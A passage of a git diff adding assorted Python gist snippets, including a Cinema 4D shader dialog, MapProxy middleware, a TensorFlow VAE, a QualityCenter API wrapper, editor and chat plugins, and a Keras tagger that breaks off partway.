+'''This is an example shelf.'''
+# class customShelf(_shelf):
+#     def build(self):
+#         self.addButon(label="button1")
+#         self.addButon("button2")
+#         self.addButon("popup")
+#         p = mc.popupMenu(b=1)
+#         self.addMenuItem(p, "popupMenuItem1")
+#         self.addMenuItem(p, "popupMenuItem2")
+#         sub = self.addSubMenu(p, "subMenuLevel1")
+#         self.addMenuItem(sub, "subMenuLevel1Item1")
+#         sub2 = self.addSubMenu(sub, "subMenuLevel2")
+#         self.addMenuItem(sub2, "subMenuLevel2Item1")
+#         self.addMenuItem(sub2, "subMenuLevel2Item2")
+#         self.addMenuItem(sub, "subMenuLevel1Item2")
+#         self.addMenuItem(p, "popupMenuItem3")
+#         self.addButon("button3")
+# customShelf()
+###################################################################################
diff --git a/hard-gists/1c48360bde201b3d54ab/._snippet.py b/hard-gists/1c48360bde201b3d54ab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1c48360bde201b3d54ab/._snippet.py differ
diff --git a/hard-gists/1c48360bde201b3d54ab/snippet.py b/hard-gists/1c48360bde201b3d54ab/snippet.py
new file mode 100644
index 00000000..0d2d782d
--- /dev/null
+++ b/hard-gists/1c48360bde201b3d54ab/snippet.py
@@ -0,0 +1,130 @@
+# Copyright (C) 2015 Niklas Rosenstein
+# All rights reserved.
+#
+# File: show_shaders.py
+# Last Modified: 16.11.2015
+# Description: This script opens a dialog that displays all
+#   shaders in a material, tag or object that can be specified
+#   with a link box.
+
+import c4d
+import os
+
+def get_shaders(node):
+    if node.CheckType(c4d.Xbase):
+        return node.GetChildren()
+    res = []
+    sha = node.GetFirstShader()
+    while sha:
+        res.append(sha)
+        sha = sha.GetNext()
+    return res
+
+def script_open_async_dialog(dlg, *args, **kwargs):
+    # xxx: this is a very dirty hack
+    dialogs = vars(os).setdefault('__c4d_dialogs', [])
+    dialogs = [d for d in dialogs if d.IsOpen()]
+    dialogs.append(dlg)
+    os.__c4d_dialogs = dialogs
+    return dlg.Open(c4d.DLG_TYPE_ASYNC, *args, **kwargs)
+
+class ShaderDialog(c4d.gui.GeDialog):
+    
+    def GetLink(self, param_id):
+        gui = self.FindCustomGui(param_id, c4d.CUSTOMGUI_LINKBOX)
+        if gui:
+            return gui.GetLink()
+        return None
+
+    def AddLinkBox(self, param_id, flags, link=None):
+        gui = self.AddCustomGui(param_id, c4d.CUSTOMGUI_LINKBOX,
+            "", flags, 0, 0)
+        gui.SetLink(link)
+        return gui
+
+    def AddShaderWidgets(self, sha, parent, depth):
+        msg1 = ''
+        msg2 = ''
+        if sha.CheckType(c4d.Xbitmap):
+            msg2 = sha[c4d.BITMAPSHADER_FILENAME] or ''
+        if parent:
+            for bc, did, __ in parent.GetDescription(0):
+                try:
+                    if parent[did] != sha:
+                        continue
+                except AttributeError:
+                    # Parameter inacessible from Python
+                    continue
+
+                msg1 = bc[c4d.DESC_IDENT] or '<no ident>'
+                break
+            else:
+                msg1 = '<no parameter>'
+
+        self.GroupBegin(0, c4d.BFH_SCALEFIT)
+        self.AddStaticText(0, c4d.BFH_LEFT, name='---' * depth)
+        self.AddLinkBox(0, c4d.BFH_SCALEFIT, link=sha)
+        self.GroupEnd()
+        self.AddStaticText(0, 0, name=sha.GetTypeName())
+        self.AddStaticText(0, 0, name=msg1)
+        self.AddStaticText(0, 0, name=msg2)
+
+    def Update(self, node=None, depth=0):
+        is_root = (not node)
+        if is_root:
+            self.LayoutFlushGroup(1001)
+            node = self.GetLink(1000)
+            if not node:
+                self.AddStaticText(0, c4d.BFH_CENTER, name="Nothing selected")
+                self.AddStaticText(0, c4d.BFH_SCALEFIT, name="")
+                self.LayoutChanged(1001)
+                return
+
+        shaders = get_shaders(node)
+        if not shaders:
+            if is_root:
+                self.AddStaticText(0, c4d.BFH_CENTER, name="No shaders in the list")
+                self.AddStaticText(0, c4d.BFH_SCALEFIT, name="")
+                self.LayoutChanged(1001)
+            return
+
+        if is_root:
+            self.AddStaticText(0, 0, name="Shader")
+            self.AddStaticText(0, 0, name="Type")
+            self.AddStaticText(0, 0, name="Parameter")
+            self.AddStaticText(0, 0, name="Info")
+            self.AddSeparatorH(0)
+            self.AddSeparatorH(0)
+            self.AddSeparatorH(0)
+            self.AddSeparatorH(0)
+
+        for sha in shaders:
+            self.AddShaderWidgets(sha, node, depth)
+            self.Update(sha, depth + 1)
+
+        if is_root:
+            self.LayoutChanged(1001)
+
+    def CreateLayout(self):
+        self.SetTitle("Shader Show")
+        self.GroupBegin(0, c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT, 1, 0)
+        self.GroupBorderSpace(6, 6, 6, 6)
+        self.AddLinkBox(1000, c4d.BFH_SCALEFIT)
+        self.AddSeparatorH(c4d.BFH_SCALEFIT)
+        self.GroupBegin(1001, c4d.BFH_SCALEFIT, 4, 0)
+        self.GroupEnd()
+        self.GroupEnd()
+        self.Update()
+        return True
+
+    def Command(self, wid, msg):
+        if wid == 1000:
+            self.Update()
+        return True
+
+    def CoreMessage(self, wid, msg):
+        if wid == c4d.EVMSG_CHANGE:
+            self.Update()
+        return True
+
+script_open_async_dialog(ShaderDialog(), 0, -1, -1, 400, 300)
diff --git a/hard-gists/1c9b352ba19b5e33f9c4/._snippet.py b/hard-gists/1c9b352ba19b5e33f9c4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1c9b352ba19b5e33f9c4/._snippet.py differ
diff --git a/hard-gists/1c9b352ba19b5e33f9c4/snippet.py b/hard-gists/1c9b352ba19b5e33f9c4/snippet.py
new file mode 100644
index 00000000..6882b62a
--- /dev/null
+++ b/hard-gists/1c9b352ba19b5e33f9c4/snippet.py
@@ -0,0 +1,6 @@
+# See also http://wiki.xbmc.org/index.php?title=Autoexec.py
+# Put this into the userdata folder, see http://wiki.xbmc.org/index.php?title=Userdata for details where this is for each platform
+import xbmc
+xbmc.executebuiltin('xbmc.PlayMedia("/storage/videos/","isdir")')
+xbmc.executebuiltin('xbmc.PlayerControl(repeatall)')
+xbmc.executebuiltin("Action(Fullscreen)")
\ No newline at end of file
diff --git a/hard-gists/1cae669defce037511ada4e0ed01b3cd/._snippet.py b/hard-gists/1cae669defce037511ada4e0ed01b3cd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1cae669defce037511ada4e0ed01b3cd/._snippet.py differ
diff --git a/hard-gists/1cae669defce037511ada4e0ed01b3cd/snippet.py b/hard-gists/1cae669defce037511ada4e0ed01b3cd/snippet.py
new file mode 100644
index 00000000..1d5cb714
--- /dev/null
+++ b/hard-gists/1cae669defce037511ada4e0ed01b3cd/snippet.py
@@ -0,0 +1,63 @@
+""" Minimal MapProxy Middleware demonstrating the decorate_img API
+
+To run:
+  1. Install MapProxy in a virtual enviroment together with Gunicorn
+  2. Create a basic MapProxy config and copy this file into the same directory as mapproxy.yaml
+  2. Activate virtual environment
+  3. Change to the directory containing this file
+  4. Run:
+      gunicorn -k eventlet --workers=1 --log-file=- mapproxy_decorate:application
+
+"""
+
+from PIL import ImageColor, ImageDraw, ImageFont
+from mapproxy.image import ImageSource
+from mapproxy.wsgiapp import make_wsgi_app
+
+
+def annotate_img(image, service, layers, environ, query_extent, **kw):
+    # Get the PIL image and convert to RGBA to ensure we can use black
+    # for the text
+    img = image.as_image().convert('RGBA')
+
+    text = ['service: %s' % service]
+    text.append('layers: %s' % ', '.join(layers))
+    text.append('srs: %s' % query_extent[0])
+
+    text.append('bounds:')
+    for coord in query_extent[1]:
+        text.append('  %s' % coord)
+
+    draw = ImageDraw.Draw(img)
+    font = ImageFont.load_default()
+    fill = ImageColor.getrgb('black')
+
+    line_y = 10
+    for line in text:
+        line_w, line_h = font.getsize(line)
+        draw.text((10, line_y), line, font=font, fill=fill)
+        line_y = line_y + line_h
+
+    # Return a new ImageSource specifying the updated PIL image and
+    # the image options from the original ImageSource
+    return ImageSource(img, image.image_opts)
+
+
+class RequestInfoFilter(object):
+    """
+    Simple MapProxy decorate_img middleware.
+
+    Annotates map images with information about the request.
+    """
+    def __init__(self, app):
+        self.app = app
+
+    def __call__(self, environ, start_response):
+        # Add the callback to the WSGI environment
+        environ['mapproxy.decorate_img'] = annotate_img
+
+        return self.app(environ, start_response)
+
+
+# Make an WSGI application and wrap it in the middleware
+application = RequestInfoFilter(make_wsgi_app(r'mapproxy.yaml'))
\ No newline at end of file
diff --git a/hard-gists/1cb4d81fed37fd06ef60d08c1181f557/._snippet.py b/hard-gists/1cb4d81fed37fd06ef60d08c1181f557/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1cb4d81fed37fd06ef60d08c1181f557/._snippet.py differ
diff --git a/hard-gists/1cb4d81fed37fd06ef60d08c1181f557/snippet.py b/hard-gists/1cb4d81fed37fd06ef60d08c1181f557/snippet.py
new file mode 100644
index 00000000..0ffc982f
--- /dev/null
+++ b/hard-gists/1cb4d81fed37fd06ef60d08c1181f557/snippet.py
@@ -0,0 +1,83 @@
+# Full example for my blog post at:
+# https://danijar.com/building-variational-auto-encoders-in-tensorflow/
+
+import numpy as np
+import matplotlib.pyplot as plt
+import tensorflow as tf
+from tensorflow.examples.tutorials.mnist import input_data
+
+tfd = tf.contrib.distributions
+
+
+def make_encoder(data, code_size):
+  x = tf.layers.flatten(data)
+  x = tf.layers.dense(x, 200, tf.nn.relu)
+  x = tf.layers.dense(x, 200, tf.nn.relu)
+  loc = tf.layers.dense(x, code_size)
+  scale = tf.layers.dense(x, code_size, tf.nn.softplus)
+  return tfd.MultivariateNormalDiag(loc, scale)
+
+
+def make_prior(code_size):
+  loc = tf.zeros(code_size)
+  scale = tf.ones(code_size)
+  return tfd.MultivariateNormalDiag(loc, scale)
+
+
+def make_decoder(code, data_shape):
+  x = code
+  x = tf.layers.dense(x, 200, tf.nn.relu)
+  x = tf.layers.dense(x, 200, tf.nn.relu)
+  logit = tf.layers.dense(x, np.prod(data_shape))
+  logit = tf.reshape(logit, [-1] + data_shape)
+  return tfd.Independent(tfd.Bernoulli(logit), 2)
+
+
+def plot_codes(ax, codes, labels):
+  ax.scatter(codes[:, 0], codes[:, 1], s=2, c=labels, alpha=0.1)
+  ax.set_aspect('equal')
+  ax.set_xlim(codes.min() - .1, codes.max() + .1)
+  ax.set_ylim(codes.min() - .1, codes.max() + .1)
+  ax.tick_params(
+      axis='both', which='both', left='off', bottom='off',
+      labelleft='off', labelbottom='off')
+
+
+def plot_samples(ax, samples):
+  for index, sample in enumerate(samples):
+    ax[index].imshow(sample, cmap='gray')
+    ax[index].axis('off')
+
+
+data = tf.placeholder(tf.float32, [None, 28, 28])
+
+make_encoder = tf.make_template('encoder', make_encoder)
+make_decoder = tf.make_template('decoder', make_decoder)
+
+# Define the model.
+prior = make_prior(code_size=2)
+posterior = make_encoder(data, code_size=2)
+code = posterior.sample()
+
+# Define the loss.
+likelihood = make_decoder(code, [28, 28]).log_prob(data)
+divergence = tfd.kl_divergence(posterior, prior)
+elbo = tf.reduce_mean(likelihood - divergence)
+optimize = tf.train.AdamOptimizer(0.001).minimize(-elbo)
+
+samples = make_decoder(prior.sample(10), [28, 28]).mean()
+
+mnist = input_data.read_data_sets('MNIST_data/')
+fig, ax = plt.subplots(nrows=20, ncols=11, figsize=(10, 20))
+with tf.train.MonitoredSession() as sess:
+  for epoch in range(20):
+    feed = {data: mnist.test.images.reshape([-1, 28, 28])}
+    test_elbo, test_codes, test_samples = sess.run([elbo, code, samples], feed)
+    print('Epoch', epoch, 'elbo', test_elbo)
+    ax[epoch, 0].set_ylabel('Epoch {}'.format(epoch))
+    plot_codes(ax[epoch, 0], test_codes, mnist.test.labels)
+    plot_samples(ax[epoch, 1:], test_samples)
+    for _ in range(600):
+      feed = {data: mnist.train.next_batch(100)[0].reshape([-1, 28, 28])}
+      sess.run(optimize, feed)
+plt.savefig('vae-mnist.png', dpi=300, transparent=True, bbox_inches='tight')
\ No newline at end of file
diff --git a/hard-gists/1cb65c4b5be2575ea3ab/._snippet.py b/hard-gists/1cb65c4b5be2575ea3ab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1cb65c4b5be2575ea3ab/._snippet.py differ
diff --git a/hard-gists/1cb65c4b5be2575ea3ab/snippet.py b/hard-gists/1cb65c4b5be2575ea3ab/snippet.py
new file mode 100644
index 00000000..d837ad0d
--- /dev/null
+++ b/hard-gists/1cb65c4b5be2575ea3ab/snippet.py
@@ -0,0 +1,289 @@
+import string
+import sys
+import os
+from collections import Counter
+import win32com.client
+
+# Sample code for accessing QualityCenter
+# 2014 (C) Zohar Lorberbaum
+
+debug = False
+
+class QualityCenter(object):
+    """QualityCenter module."""
+    def __init__(self):
+        """Initializing QualityCenter object does not require any input."""
+        self._td = win32com.client.Dispatch("TDApiOle80.TDConnection.1")
+        self._TSserver = 'QC URL'
+        self._TDname = 'QC IP'
+        self._username = 'QC Username'
+        self._pwd = 'QC Password'
+
+    def __call__(self):
+        print 'QualityCenter call'
+        return
+
+    def __getattr__(self,attr):
+        if attr == 'Requirements':
+            if not self.__dict__.has_key('_Requirements'):
+                self._Requirements=Requirements(self._td)
+            return self._Requirements
+        else:
+            raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+
+    def __repr__(self): 
+        return "QualityCenter class"
+    
+    def __dir__(self):
+        d=['Requirements']
+        return d + self.__dict__.keys() + self.__class__.__dict__.keys()
+
+    def connect(self, domain, project):
+        """Connect and login to QC, to specified domain and project"""
+        self._td.InitConnectionEx( "http://" + self._TSserver )
+        self._td.ConnectProjectEx(domain, project, self._username, self._pwd)
+        if debug: print self._td.Connected
+        return self._td.Connected
+
+    def disconnect(self):
+        """ Disconnect and logout from QC """
+        if not self.__dict__.has_key('_td'):
+            print "Not connected\n"
+            return True
+        self._td.Disconnect()
+        self._td.Logout()
+        if debug: print not self._td.LoggedIn
+        return not self._td.LoggedIn
+
+
+class Requirements(object):
+    """Object to hold Requirements in QualityCenter.
+    Accept360 S/N is the key to access the requirement."""
+    def __init__(self, td):
+        self.td = td
+        return
+    
+    def __call__(self, *args, **kargs):
+        if kargs:
+            if kargs.has_key('SN'):
+                if self.__dict__.has_key('_Requirements'):
+                    if self._Requirements.has_key(kargs['SN']):
+                        return self._Requirements[kargs['SN']]
+            else:
+                print 'No requirements were retreived from server yet.\nPlease perform a parsed query.'
+                return None
+        elif args:
+            if self.__dict__.has_key('_Requirements'):
+                if len(args)>0:
+                    for arg in args:
+                        if arg[:2]=='SN':
+                            if self._Requirements.has_key(arg[2:]):
+                                return self._Requirements[arg[2:]]
+                        else:
+                            if self._Requirements.has_key(arg):
+                                return self._Requirements[arg]
+                        print str(arg) + ' was not found'
+                    return None
+            else:
+                print 'Please load requirements from server first.'
+                return None
+        else:
+            if not self.__dict__.has_key('_Requirements'):
+                self.getCoverage()
+            return self._Requirements
+
+    def __getattr__(self,attr):
+        if attr == 'Requirements':
+            if not self.__dict__.has_key('_Requirements'):
+                self.getCoverage()
+            return self._Requirements
+        elif self.__dict__.has_key(attr):
+            return self.__dict__[attr]
+        elif self.__dict__.has_key('_Requirements'):
+            if len(attr)>2:
+                if attr[:2]=='SN':
+                    if self._Requirements.has_key(attr[2:]):
+                        return self._Requirements[attr[2:]]
+                else:
+                    if self._Requirements.has_key(attr):
+                        return self._Requirements[attr]
+            for req in self.rList:
+                if not req.IsFolder: # Ignore requirement folders (they do not have S/N)
+                    SN = req.Field('RQ_USER_03') # This is the custom field where we currently store Accept360 S/N
+                    if SN == attr:
+                        return req
+        raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+
+    def __getitem__(self,attr):
+        if self.__dict__.has_key(attr):
+            return self.__dict__[attr]
+        elif self.__dict__.has_key('_Requirements'):
+            if len(attr)>2:
+                if attr[:2]=='SN':
+                    if self._Requirements.has_key(attr[2:]):
+                        return self._Requirements[attr[2:]]
+                else:
+                    if self._Requirements.has_key(attr):
+                        return self._Requirements[attr]
+            for req in self.rList:
+                if not req.IsFolder: # Ignore requirement folders (they do not have S/N)
+                    SN = req.Field('RQ_USER_03') # This is the custom field where we currently store Accept360 S/N
+                    if SN == attr:
+                        return req
+            return str(attr) + ' was not found'
+        else:
+            raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+
+    def __repr__(self):
+        if self.__dict__.has_key('_Requirements'):
+            return 'Requirements: '+str(self._Requirements.keys())
+        else:
+            return 'No requirements were retreived from server yet.\nPlease perform a parsed query.'
+    
+    def __dir__(self):
+        l=list()
+        if self.__dict__.has_key('_Requirements'):
+            for k in self._Requirements.keys():
+                l.append('SN'+string.join(str(k).split(),''))
+        return l + self.__dict__.keys() + self.__class__.__dict__.keys()
+
+    def get(self):
+        "Returns a list with all requirement objects"
+        self.rFact = self.td.ReqFactory
+        self.rList = self.rFact.NewList('')
+        return self.rList
+        
+    def getCoverage(self):
+        "Get test coverage for all requirements in the project that have Accept360 SN filled in."
+        self.get()
+        self._Requirements = dict() # Stores all requirements to be returned from this function
+        for req in self.rList:
+            if debug: print req.ID,
+            if not req.IsFolder: # Ignore requirement folders (they do not have S/N)
+                SN = req.Field('RQ_USER_03') # This is the custom field where we currently store Accept360 S/N
+                NAME = req.Name.encode('ascii', 'ignore') # Requirement name
+                if not SN: # Skip requirements that have no S/N
+                    if debug:
+                        print repr(SN),'\t',
+                        print NAME[:64],'\t'
+                else:
+                    if debug: print SN.encode('ascii', 'ignore'),'\t',
+                    if debug: print NAME[:64],'\t',
+                    cnt = Counter()
+                    if not req.HasCoverage: # Check if requirement has test coverage
+                        if debug: print     
+                    else:
+                        cvr = req.GetCoverageTestConfigs()
+                        if debug: print repr(cvr)
+                        for c in cvr:
+                            cnt[str(c.ExecStatus)] += 1
+                        if debug: print cnt,
+                    # Handle cases where there are multiple serial numbers listed
+                    sns=SN.split(',')
+                    for s in sns:
+                        sn=string.join(s.split(),'')
+                        if not self._Requirements.has_key(sn):
+                            self._Requirements[sn] = dict()
+                            self._Requirements[sn]['TestCoverageDetails'] = Counter()
+                            self._Requirements[sn]['TestCoverage'] = dict()
+                            self._Requirements[sn]['Name'] = NAME
+                            self._Requirements[sn]['ID'] = req.ID
+                            self._Requirements[sn]['Tester'] = list()
+                        self._Requirements[sn]['TestCoverageDetails'] += cnt
+                    if debug: print
+        
+        # Calculate percent complete for all collected requirements
+        if debug: print '\n----------------------------------------\n'
+        for sn in self._Requirements.keys():
+            if debug: print sn,
+            self._Requirements[sn]['TestCoverage']['Total'] = 0
+            self._Requirements[sn]['TestCoverage']['Progress'] = 0
+            for t in self._Requirements[sn]['TestCoverageDetails'].keys():
+                #if t not in ['N/A']:  # This would ignore N/A tests from the total - not for now since this could apply to only part of the scope
+                self._Requirements[sn]['TestCoverage']['Total'] += self._Requirements[sn]['TestCoverageDetails'][t]
+                if t in ['Passed', 'Failed']:
+                    self._Requirements[sn]['TestCoverage']['Progress'] += self._Requirements[sn]['TestCoverageDetails'][t]
+            if self._Requirements[sn]['TestCoverage']['Total'] == 0:
+                self._Requirements[sn]['TestCoverage']['%Complete'] = 0.0
+            else:
+                self._Requirements[sn]['TestCoverage']['%Complete'] = \
+                    int( 100.0*self._Requirements[sn]['TestCoverage']['Progress']/self._Requirements[sn]['TestCoverage']['Total'] )
+            if debug: print self._Requirements[sn]['TestCoverage']
+        return self._Requirements
+
+    def __setitem__(self, key, values):
+        """Example: a.Tasks['26123']={'codeComplete':37.0}"""
+        if not self.__dict__.has_key('_Requirements'):
+            print 'No QualityCenter Project was loaded and parsed yet.\nPlease load requirements from QualityCenter first.'
+            return None
+        elif type(values)!=type(dict()):
+            print 'Requirement updated fields should be in a form of a dictionary.\nPossible keys are:',
+            print self._msfields
+            return None
+        elif len(key)>2:
+            if key[:2]=='SN':
+                if self._Requirements.has_key(key[2:]):
+                    return self._update(key[2:], values)
+            elif self._Requirements.has_key(key):
+                return self._update(key, values)
+            else:
+                for req in self.rList:
+                    if not req.IsFolder: # Ignore requirement folders (they do not have S/N)
+                        SN = req.Field('RQ_USER_03') # This is the custom field where we currently store Accept360 S/N
+                        if SN == key:
+                            return self._update(key, values)
+            print str(key) + ' was not found'
+        raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, key))
+
+    def _update(self, key, values):
+        updt = True
+        found = False
+        for req in self.rList:
+            if not req.IsFolder: # Ignore requirement folders (they do not have S/N)
+                SN = req.Field('RQ_USER_03') # This is the custom field where we currently store Accept360 S/N
+                if SN:
+                    if SN == key:
+                        for k, v in values.iteritems():
+                            if k=='Name':
+                                req.Name=str(v)
+                            if k=='Tester':
+                                req.SetField("RQ_USER_02", str(v))
+                            else:
+                                raise KeyError("Unknown or unsupported QualityCenter field: %s" % k)
+                        req.Post()
+                        found = True
+                        #self.getCoverage()
+                    elif SN.split(',').count(key)>0:
+                        print '\n*** Code does not hanlde update of tasks with multiple Accept360 requirements, unless list of tasks exactly match.'
+                        print '*** Skipping update of requirment '+str(key)+'.'
+                        updt = False
+        self.getCoverage()
+        return updt & found
+
+    def findReqID(self, reqName):
+        """Return QC requirement ID for given requirement name."""
+        self.get()
+        for req in self.rList:
+            if req.Name == reqName:
+                return req.ID
+        return
+
+
+    def addRequirement(self, parentName, RequirementName, SN='', Tester='', TypeId='Testing', *args, **kargs):
+        """Add a new requirement, given name and parent name, with optional TypeID and with optional fields configuration as a dictionaty)."""
+        rf = self.td.ReqFactory
+        prid = self.findReqID(parentName)
+        if not prid:
+            raise KeyError("Parent requirement not found: %s" % parentName)
+        nr = rf.AddItem(None)
+        nr.ParentId = prid
+        #Clean Requirement name from unsupported characters: The characters \\/:"?\'<>|*% are not allowed.
+        clnReq = RequirementName.replace('\\','-').replace('/','-').replace(':','-').replace('"','').replace('?',' ').replace("'",'').replace('<',' ').replace('>',' ').replace('|',' ').replace('*',' ').replace('%',' ')
+        nr.Name = clnReq
+        nr.TypeId = TypeId
+        nr.SetField('RQ_USER_02', str(Tester))
+        nr.SetField('RQ_USER_03', str(SN))
+        for k in kargs:
+            nr.__setattr__(str(k), str(kargs[k]))
+        nr.Post()
+        return nr.ID
diff --git a/hard-gists/1cd6ce82490d2c0f2e0a/._snippet.py b/hard-gists/1cd6ce82490d2c0f2e0a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1cd6ce82490d2c0f2e0a/._snippet.py differ
diff --git a/hard-gists/1cd6ce82490d2c0f2e0a/snippet.py b/hard-gists/1cd6ce82490d2c0f2e0a/snippet.py
new file mode 100644
index 00000000..c12056b5
--- /dev/null
+++ b/hard-gists/1cd6ce82490d2c0f2e0a/snippet.py
@@ -0,0 +1,8 @@
+import sublime, sublime_plugin
+
+class MinifyOnSave(sublime_plugin.EventListener):
+	def on_post_save(self, view):
+		file_types_to_minify = ['js', 'css']
+		filenameParts = view.file_name().split('.')
+		if filenameParts[len(filenameParts) - 1] in file_types_to_minify:
+			view.run_command('minify')
\ No newline at end of file
diff --git a/hard-gists/1cec2b3d8aeaaa102e3b/._snippet.py b/hard-gists/1cec2b3d8aeaaa102e3b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1cec2b3d8aeaaa102e3b/._snippet.py differ
diff --git a/hard-gists/1cec2b3d8aeaaa102e3b/snippet.py b/hard-gists/1cec2b3d8aeaaa102e3b/snippet.py
new file mode 100644
index 00000000..b7767bcc
--- /dev/null
+++ b/hard-gists/1cec2b3d8aeaaa102e3b/snippet.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+# [SNIPPET_NAME: Systray icon]
+# [SNIPPET_CATEGORIES: PyGTK]
+# [SNIPPET_DESCRIPTION: Shows a system tray icon with a menu  ]
+# [SNIPPET_AUTHOR: João Pinto <joao.pinto@getdeb.net>]
+# [SNIPPET_LICENSE: GPL]
+# 
+# adapted from: http://eurion.net/python-snippets/snippet/Systray%20icon.html
+# TODO: add slider (current version has only scroll on icon)
+
+
+import gtk, gobject
+from subprocess import Popen
+
+VOL_UP = 'amixer set Master 5%+' # command to set up
+VOL_DOWN = 'amixer set Master 5%-' # command to set down
+
+
+class SystrayIconApp:
+	def __init__(self):
+		self.tray = gtk.status_icon_new_from_icon_name('audio-volume-medium')
+		self.tray.connect('scroll-event', self.on_scroll)
+		self.tray.set_tooltip(('Volume tray app'))
+		
+	def on_scroll(self, icon, event):
+		if event.direction == gtk.gdk.SCROLL_UP:
+			Popen(VOL_UP.split(' '))
+		else:
+			Popen(VOL_DOWN.split(' '))	
+
+
+if __name__ == "__main__":
+	SystrayIconApp()
+	gtk.main()
diff --git a/hard-gists/1d08fa7af5ab846211ace2447e1e3e8a/._snippet.py b/hard-gists/1d08fa7af5ab846211ace2447e1e3e8a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1d08fa7af5ab846211ace2447e1e3e8a/._snippet.py differ
diff --git a/hard-gists/1d08fa7af5ab846211ace2447e1e3e8a/snippet.py b/hard-gists/1d08fa7af5ab846211ace2447e1e3e8a/snippet.py
new file mode 100644
index 00000000..f05fa353
--- /dev/null
+++ b/hard-gists/1d08fa7af5ab846211ace2447e1e3e8a/snippet.py
@@ -0,0 +1,78 @@
+# -*- coding: utf-8 -*-
+
+import weechat
+
+SCRIPT_NAME = 'mockme'
+SCRIPT_AUTHOR = 'hikilaka'
+SCRIPT_VERSION = '1.0.0'
+SCRIPT_LICENSE = 'none'
+SCRIPT_DESC = 'Converts your text into a mOcKiNg VeRsIoN'
+
+
+weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
+                 SCRIPT_LICENSE, SCRIPT_DESC, '', 'UTF-8')
+
+
+weechat.hook_command(SCRIPT_NAME, SCRIPT_DESC,
+                     '[args]', 'args can be any text.', 'args', 'mockme', '')
+
+
+wide_symbols = u'！＂＃＄％＆＇（）＊＋，－｡／：；＜＝＞？＠［＼］＾＿｀｛｜｝～'
+wide_numbers = u'０１２３４５６７８９'
+wide_uppercase = u'ＡＢＣＤＥＦＧＨＩＪＫＬＭＮＯＰＱＲＳＴＵＶＷＸＹＺ'
+wide_lowercase = u'ａｂｃｄｅｆｇｈｉｊｋｌｍｎｏｐｑｒｓｔｕｖｗｘｙｚ'
+
+wide_characters = wide_symbols + wide_numbers + wide_uppercase + wide_lowercase
+
+normal_symbols = '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
+normal_numbers = '0123456789'
+normal_uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+normal_lowercase = 'abcdefghijklmnopqrstuvwxyz'
+
+normal_characters = normal_symbols + normal_numbers + normal_uppercase + normal_lowercase
+
+def normal_to_wide_ch(ch):
+    index = normal_characters.find(ch)
+
+    if index is -1:
+        return ch
+
+    return wide_characters[index]
+
+
+def mockme(data, buffer, args):
+    result = str()
+    cap = False
+    wide = False
+
+    input = args.decode('utf-8')
+
+    if not input or (input[0] == '-' and input.find(' ') is -1):
+        input = weechat.buffer_get_string(buffer, "input")
+        input = input.decode("utf-8")
+
+    if not input:
+        return weechat.WEECHAT_RC_OK
+
+    options_stop = input and input[0] == '-' and input.find(' ')
+    options = input[1:options_stop] if options_stop else ''
+    cmd = ''
+    input = input[options_stop:] if options_stop >= 0 else input
+
+    if 'w' in options:
+        wide = True
+        result = unicode()
+    if 'c' in options:
+        cmd = '/prism '
+
+    for char in input:
+        if cap:
+            result += normal_to_wide_ch(char.upper()) if wide else char.upper()
+        else:
+            result += normal_to_wide_ch(char.lower()) if wide else char.lower()
+
+        if char != ' ':
+            cap = not cap
+
+    weechat.command(buffer, cmd + result.encode('utf-8'))
+    return weechat.WEECHAT_RC_OK
diff --git a/hard-gists/1d596ca757a541da96ac3caa6f291229/._snippet.py b/hard-gists/1d596ca757a541da96ac3caa6f291229/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1d596ca757a541da96ac3caa6f291229/._snippet.py differ
diff --git a/hard-gists/1d596ca757a541da96ac3caa6f291229/snippet.py b/hard-gists/1d596ca757a541da96ac3caa6f291229/snippet.py
new file mode 100644
index 00000000..698d107a
--- /dev/null
+++ b/hard-gists/1d596ca757a541da96ac3caa6f291229/snippet.py
@@ -0,0 +1,118 @@
+# Keras==1.0.6
+from keras.models import Sequential
+import numpy as np
+from keras.layers.recurrent import LSTM
+from keras.layers.core import TimeDistributedDense, Activation
+from keras.preprocessing.sequence import pad_sequences
+from keras.layers.embeddings import Embedding
+from sklearn.cross_validation import train_test_split
+from keras.layers import Merge
+from keras.backend import tf
+from lambdawithmask import Lambda as MaskLambda
+from sklearn.metrics import confusion_matrix, accuracy_score
+
+raw = open('wikigold.conll.txt', 'r').readlines()
+all_x = []
+point = []
+for line in raw:
+    stripped_line = line.strip().split(' ')
+    point.append(stripped_line)
+    if line == '\n':
+        all_x.append(point[:-1])
+        point = []
+all_x = all_x[:-1]
+lengths = [len(x) for x in all_x]
+short_x = [x for x in all_x if len(x) < 64]
+
+X = [[c[0] for c in x] for x in short_x]
+y = [[c[1] for c in y] for y in short_x]
+
+all_text = [c for x in X for c in x]
+words = list(set(all_text))
+word2ind = {word: index for index, word in enumerate(words)}
+ind2word = {index: word for index, word in enumerate(words)}
+labels = list(set([c for x in y for c in x]))
+label2ind = {label: (index + 1) for index, label in enumerate(labels)}
+ind2label = {(index + 1): label for index, label in enumerate(labels)}
+print 'Input sequence length range: ', max(lengths), min(lengths)
+
+maxlen = max([len(x) for x in X])
+print 'Maximum sequence length:', maxlen
+
+
+def encode(x, n):
+    result = np.zeros(n)
+    result[x] = 1
+    return result
+
+X_enc = [[word2ind[c] for c in x] for x in X]
